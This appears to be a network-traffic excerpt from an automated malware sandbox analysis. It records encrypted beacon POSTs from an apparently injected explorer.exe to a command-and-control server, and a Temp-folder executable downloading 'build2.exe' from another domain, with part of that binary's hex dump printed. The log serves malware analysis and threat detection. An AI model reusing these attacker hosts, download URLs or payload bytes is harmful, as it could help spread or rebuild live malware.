                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:34.781369925 CET156INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                              Server: nginx/1.20.2
                                                                                                                                                                                                                                                              Date: Thu, 08 Feb 2024 19:17:34 GMT
                                                                                                                                                                                                                                                              Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                                                              Content-Length: 0
                                                                                                                                                                                                                                                              Connection: close


                                                                                                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                              18192.168.2.549737185.12.126.182801028C:\Windows\explorer.exe
                                                                                                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:35.042604923 CET285OUTPOST /index.php HTTP/1.1
                                                                                                                                                                                                                                                              Connection: Keep-Alive
                                                                                                                                                                                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                              Accept: */*
                                                                                                                                                                                                                                                              Referer: http://mgutnitjcberjux.net/
                                                                                                                                                                                                                                                              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                                                                                                                                                                                                                                              Content-Length: 234
                                                                                                                                                                                                                                                              Host: trad-einmyus.com
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:35.042660952 CET234OUTData Raw: 12 87 80 90 1b f9 a7 b2 bf 3a 09 37 7d c3 ec 8f 32 14 dd 30 d7 41 6e 91 b8 ea a7 85 f9 d0 9a 85 6d b3 2c a0 6f 19 cd e1 9c df f3 d8 d9 95 15 05 6b 98 69 fc e4 ec aa 80 eb 5c bd d2 e4 d8 46 d4 75 24 f3 c4 85 de 93 66 5d 02 c8 a1 c1 64 26 84 c7 2f
                                                                                                                                                                                                                                                              Data Ascii: :7}20Anm,oki\Fu$f]d&/+J|>7nYw:C%bdP:nVaGH6T\4|yG%??|Q}7W)`Jpz|l.?`5:G_N>=.Q{vu()a99"1
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:35.291502953 CET597INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                                              Server: nginx/1.20.2
                                                                                                                                                                                                                                                              Date: Thu, 08 Feb 2024 19:17:35 GMT
                                                                                                                                                                                                                                                              Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                                                              Transfer-Encoding: chunked
                                                                                                                                                                                                                                                              Connection: close
                                                                                                                                                                                                                                                              Data Raw: 31 39 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 74 72 61 64 2d 65 69 6e 6d 79 75 73 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                              Data Ascii: 19d<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at trad-einmyus.com Port 80</address></body></html>0


                                                                                                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                              19192.168.2.549738185.12.126.182801028C:\Windows\explorer.exe
                                                                                                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:35.542917013 CET285OUTPOST /index.php HTTP/1.1
                                                                                                                                                                                                                                                              Connection: Keep-Alive
                                                                                                                                                                                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                              Accept: */*
                                                                                                                                                                                                                                                              Referer: http://cxqtcjxcbweqomq.net/
                                                                                                                                                                                                                                                              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                                                                                                                                                                                                                                              Content-Length: 237
                                                                                                                                                                                                                                                              Host: trad-einmyus.com
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:35.542960882 CET237OUTData Raw: 12 87 80 90 1b f9 a7 b2 bf 3a 09 37 7d c3 ec 8f 32 14 dd 30 d7 41 6e 91 b8 ea a7 85 f9 d0 9a 85 6d b3 2c a0 6f 19 cd e1 9c df f3 d8 d9 95 15 05 6b 98 69 fc e4 ec aa 80 eb 5c bd d2 e4 d8 46 d4 75 24 f3 c4 85 de 90 66 5d 02 c8 a1 c1 64 0f d2 cd 23
                                                                                                                                                                                                                                                              Data Ascii: :7}20Anm,oki\Fu$f]d#{6WMNoy,?)zw42bL9OOt(KWZEZ+1n!3~j1_M{ZNnL0Cr=,d-z(tg.E${/
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:35.790848970 CET156INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                              Server: nginx/1.20.2
                                                                                                                                                                                                                                                              Date: Thu, 08 Feb 2024 19:17:35 GMT
                                                                                                                                                                                                                                                              Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                                                              Content-Length: 0
                                                                                                                                                                                                                                                              Connection: close


                                                                                                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                              20192.168.2.549741185.12.126.182801028C:\Windows\explorer.exe
                                                                                                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:36.031131983 CET282OUTPOST /index.php HTTP/1.1
                                                                                                                                                                                                                                                              Connection: Keep-Alive
                                                                                                                                                                                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                              Accept: */*
                                                                                                                                                                                                                                                              Referer: http://thvtanlpdixf.org/
                                                                                                                                                                                                                                                              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                                                                                                                                                                                                                                              Content-Length: 126
                                                                                                                                                                                                                                                              Host: trad-einmyus.com
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:36.031171083 CET126OUTData Raw: 12 87 80 90 1b f9 a7 b2 bf 3a 09 37 7d c3 ec 8f 32 14 dd 30 d7 41 6e 91 b8 ea a7 85 f9 d0 9a 85 6d b3 2c a0 6f 19 cd e1 9c df f3 d8 d9 95 15 05 6b 98 69 fc e4 ec aa 80 eb 5c bd d2 e4 d8 46 d4 75 24 f3 c4 85 de 91 66 5d 02 c8 a1 c1 64 4c b6 a8 13
                                                                                                                                                                                                                                                              Data Ascii: :7}20Anm,oki\Fu$f]dLZ*$g}q^^CzMp;D:&eLMZm
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:36.285773993 CET597INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                                              Server: nginx/1.20.2
                                                                                                                                                                                                                                                              Date: Thu, 08 Feb 2024 19:17:36 GMT
                                                                                                                                                                                                                                                              Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                                                              Transfer-Encoding: chunked
                                                                                                                                                                                                                                                              Connection: close
                                                                                                                                                                                                                                                              Data Raw: 31 39 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 74 72 61 64 2d 65 69 6e 6d 79 75 73 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                              Data Ascii: 19d<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at trad-einmyus.com Port 80</address></body></html>0


                                                                                                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                              21192.168.2.549742185.12.126.182801028C:\Windows\explorer.exe
                                                                                                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:36.544605970 CET286OUTPOST /index.php HTTP/1.1
                                                                                                                                                                                                                                                              Connection: Keep-Alive
                                                                                                                                                                                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                              Accept: */*
                                                                                                                                                                                                                                                              Referer: http://hnabhogvnvjuyxda.com/
                                                                                                                                                                                                                                                              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                                                                                                                                                                                                                                              Content-Length: 278
                                                                                                                                                                                                                                                              Host: trad-einmyus.com
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:36.544636965 CET278OUTData Raw: 12 87 80 90 1b f9 a7 b2 bf 3a 09 37 7d c3 ec 8f 32 14 dd 30 d7 41 6e 91 b8 ea a7 85 f9 d0 9a 85 6d b3 2c a0 6f 19 cd e1 9c df f3 d8 d9 95 15 05 6b 98 69 fc e4 ec aa 80 eb 5c bd d2 e4 d8 46 d4 75 24 f3 c4 85 de 8e 66 5d 02 c8 a1 c1 64 46 a9 d0 2d
                                                                                                                                                                                                                                                              Data Ascii: :7}20Anm,oki\Fu$f]dF-*a&9jUuph>^I1l~,uwJ;S{C9U>i<l5.!_1*NK2+#0w0>>+y=%p[0#9&LUT21|lK\^BH
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:36.810056925 CET597INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                                              Server: nginx/1.20.2
                                                                                                                                                                                                                                                              Date: Thu, 08 Feb 2024 19:17:36 GMT
                                                                                                                                                                                                                                                              Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                                                              Transfer-Encoding: chunked
                                                                                                                                                                                                                                                              Connection: close
                                                                                                                                                                                                                                                              Data Raw: 31 39 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 74 72 61 64 2d 65 69 6e 6d 79 75 73 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                              Data Ascii: 19d<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at trad-einmyus.com Port 80</address></body></html>0


                                                                                                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                              22192.168.2.549745185.12.126.182801028C:\Windows\explorer.exe
                                                                                                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:37.053236961 CET281OUTPOST /index.php HTTP/1.1
                                                                                                                                                                                                                                                              Connection: Keep-Alive
                                                                                                                                                                                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                              Accept: */*
                                                                                                                                                                                                                                                              Referer: http://frhbwhjpnkp.net/
                                                                                                                                                                                                                                                              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                                                                                                                                                                                                                                              Content-Length: 176
                                                                                                                                                                                                                                                              Host: trad-einmyus.com
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:37.053926945 CET176OUTData Raw: 12 87 80 90 1b f9 a7 b2 bf 3a 09 37 7d c3 ec 8f 32 14 dd 30 d7 41 6e 91 b8 ea a7 85 f9 d0 9a 85 6d b3 2c a0 6f 19 cd e1 9c df f3 d8 d9 95 15 05 6b 98 69 fc e4 ec aa 80 eb 5c bd d2 e4 d8 46 d4 75 24 f3 c4 85 de 8f 66 5d 02 c8 a1 c1 64 10 a9 be 06
                                                                                                                                                                                                                                                              Data Ascii: :7}20Anm,oki\Fu$f]d~<fR/4u|~$S'f[H.n{uO})P8!iB$xu:ClHx
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:37.302139044 CET156INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                              Server: nginx/1.20.2
                                                                                                                                                                                                                                                              Date: Thu, 08 Feb 2024 19:17:37 GMT
                                                                                                                                                                                                                                                              Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                                                              Content-Length: 0
                                                                                                                                                                                                                                                              Connection: close


                                                                                                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                              23192.168.2.549747185.12.126.182801028C:\Windows\explorer.exe
                                                                                                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:37.582726002 CET281OUTPOST /index.php HTTP/1.1
                                                                                                                                                                                                                                                              Connection: Keep-Alive
                                                                                                                                                                                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                              Accept: */*
                                                                                                                                                                                                                                                              Referer: http://flvndwkkmyq.org/
                                                                                                                                                                                                                                                              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                                                                                                                                                                                                                                              Content-Length: 224
                                                                                                                                                                                                                                                              Host: trad-einmyus.com
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:37.582752943 CET224OUTData Raw: 12 87 80 90 1b f9 a7 b2 bf 3a 09 37 7d c3 ec 8f 32 14 dd 30 d7 41 6e 91 b8 ea a7 85 f9 d0 9a 85 6d b3 2c a0 6f 19 cd e1 9c df f3 d8 d9 95 15 05 6b 98 69 fc e4 ec aa 80 eb 5c bd d2 e4 d8 46 d4 75 24 f3 c4 85 de 8c 66 5d 02 c8 a1 c1 64 35 ce af 0d
                                                                                                                                                                                                                                                              Data Ascii: :7}20Anm,oki\Fu$f]d5Fg<k38wyNv33t;1J~?7Z>(;w)_z5); Qn-1AY&DW,c21#5^h|Z@UxOe
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:37.847378016 CET156INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                              Server: nginx/1.20.2
                                                                                                                                                                                                                                                              Date: Thu, 08 Feb 2024 19:17:37 GMT
                                                                                                                                                                                                                                                              Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                                                              Content-Length: 0
                                                                                                                                                                                                                                                              Connection: close


                                                                                                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                              24192.168.2.549749185.12.126.182801028C:\Windows\explorer.exe
                                                                                                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:38.118114948 CET284OUTPOST /index.php HTTP/1.1
                                                                                                                                                                                                                                                              Connection: Keep-Alive
                                                                                                                                                                                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                              Accept: */*
                                                                                                                                                                                                                                                              Referer: http://xlhepjxdoaavsq.org/
                                                                                                                                                                                                                                                              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                                                                                                                                                                                                                                              Content-Length: 266
                                                                                                                                                                                                                                                              Host: trad-einmyus.com
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:38.118172884 CET266OUTData Raw: 12 87 80 90 1b f9 a7 b2 bf 3a 09 37 7d c3 ec 8f 32 14 dd 30 d7 41 6e 91 b8 ea a7 85 f9 d0 9a 85 6d b3 2c a0 6f 19 cd e1 9c df f3 d8 d9 95 15 05 6b 98 69 fc e4 ec aa 80 eb 5c bd d2 e4 d8 46 d4 75 24 f3 c4 85 de 8d 66 5d 02 c8 a1 c1 64 32 d7 be 01
                                                                                                                                                                                                                                                              Data Ascii: :7}20Anm,oki\Fu$f]d24|AA$OU,cb},[MoBw5_[Qd,^P4Z,ci0MS4{)Z({n*z8SZ(EIr8N_Am{lbzK!
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:38.368000031 CET156INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                              Server: nginx/1.20.2
                                                                                                                                                                                                                                                              Date: Thu, 08 Feb 2024 19:17:38 GMT
                                                                                                                                                                                                                                                              Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                                                              Content-Length: 0
                                                                                                                                                                                                                                                              Connection: close


                                                                                                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                              25192.168.2.549750196.188.169.138805876C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:38.402909040 CET91OUTGET /dl/build2.exe HTTP/1.1
                                                                                                                                                                                                                                                              User-Agent: Microsoft Internet Explorer
                                                                                                                                                                                                                                                              Host: brusuax.com
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:39.126760960 CET1286INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                              Server: nginx/1.18.0 (Ubuntu)
                                                                                                                                                                                                                                                              Date: Thu, 08 Feb 2024 19:17:38 GMT
                                                                                                                                                                                                                                                              Content-Type: application/octet-stream
                                                                                                                                                                                                                                                              Content-Length: 340480
                                                                                                                                                                                                                                                              Last-Modified: Mon, 05 Feb 2024 14:33:40 GMT
                                                                                                                                                                                                                                                              Connection: close
                                                                                                                                                                                                                                                              ETag: "65c0f1c4-53200"
                                                                                                                                                                                                                                                              Accept-Ranges: bytes
                                                                                                                                                                                                                                                              Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 7a 4a d3 64 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 d4 02 00 00 4c 03 00 00 00 00 00 af 25 00 00 00 10 00 00 00 f0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 30 06 00 00 04 00 00 d7 a3 05 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 6c 43 03 00 64 00 00 00 00 80 04 00 76 a9 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 f1 02 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 3c 03 00 40 00 00 00 00 00 00 00 00 00 00 00 00 f0 02 00 94 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 86 d2 02 00 00 10 00 00 00 d4 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 aa 5c 00 00 00 f0 02 00 00 5e 00 00 00 d8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 64 25 01 00 00 50 03 00 00 52 00 00 00 36 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 76 a9 01 00 00 80 04 00 00 aa 01 00 00 88 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                                                                                                                                                              Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELzJdL%@0lCdv(<@.text `.rdata\^@@.datad%PR6@.rsrcv@@
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:39.126975060 CET1286INData Raw: 6a 6c 58 6a 6d 66 a3 4a 59 44 00 58 6a 67 66 a3 3e 59 44 00 58 6a 64 66 a3 40 59 44 00 58 6a 6c 66 a3 48 59 44 00 33 c0 66 a3 4e 59 44 00 58 6a 2e 66 a3 4c 59 44 00 58 6a 32 66 a3 46 59 44 00 58 6a 6d 66 a3 44 59 44 00 58 6a 69 66 a3 38 59 44 00
                                                                                                                                                                                                                                                              Data Ascii: jlXjmfJYDXjgf>YDXjdf@YDXjlfHYD3fNYDXj.fLYDXj2fFYDXjmfDYDXjif8YDXj3f<YDXjsfBYDXh8YDf:YD$B4U<ESXV0W3=4YDuuWPW4BeCEeCEE}Ey7eCE?EeCEE
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:39.126986980 CET348INData Raw: 00 c8 e5 0e c7 44 24 14 61 2a 78 12 c7 44 24 50 58 1e ba 50 c7 44 24 10 83 a8 61 4d 81 44 24 1c 68 12 75 30 b8 69 e4 a8 5b f7 64 24 1c 8b 44 24 1c b8 32 0b 69 3c f7 64 24 34 8b 44 24 34 81 44 24 54 a2 da f4 13 81 44 24 18 c2 1d 0f 78 b8 c7 3a 8a
                                                                                                                                                                                                                                                              Data Ascii: D$a*xD$PXPD$aMD$hu0i[d$D$2i<d$4D$4D$TD$x:ed$D$l$<D$4:fD$4Pvl$Lb*Fl$D$Dl$$YmvOyd$(D$(D$0l$(l$0eEl$TYz6Md$4D$4l$Tn.D$$[ u4d$LD$LD$<
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:39.126998901 CET1286INData Raw: 0f 5e 89 74 24 74 89 5c 24 70 88 5c 24 60 89 9c 24 84 00 00 00 d9 ee 51 51 dd 1c 24 e8 dd 07 00 00 8b c4 dd d8 89 18 89 58 04 e8 4f 0c 00 00 dd d8 8b c4 89 18 89 58 04 e8 51 06 00 00 dd d8 8b c4 89 18 89 58 04 e8 f3 02 00 00 dd d8 8b c4 89 18 89
                                                                                                                                                                                                                                                              Data Ascii: ^t$t\$p\$`$QQ$XOXQXX?XXY$|$trt$`,Yt$t\$p\$`5B3BQm G|3SlB%+F|3SSSSSSdBSS,B
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:39.127012014 CET1286INData Raw: 24 ba ec 03 00 00 83 ec 10 89 54 24 0c 8b d4 83 c2 14 89 54 24 08 89 54 24 04 89 14 24 e8 c9 24 00 00 83 c4 10 dd 44 24 04 c3 f3 0f 7e 44 24 04 66 0f f3 ca 66 0f 28 d8 66 0f c2 c1 06 3d ff 03 00 00 7c 25 3d 32 04 00 00 7f b0 66 0f 54 05 00 f2 42
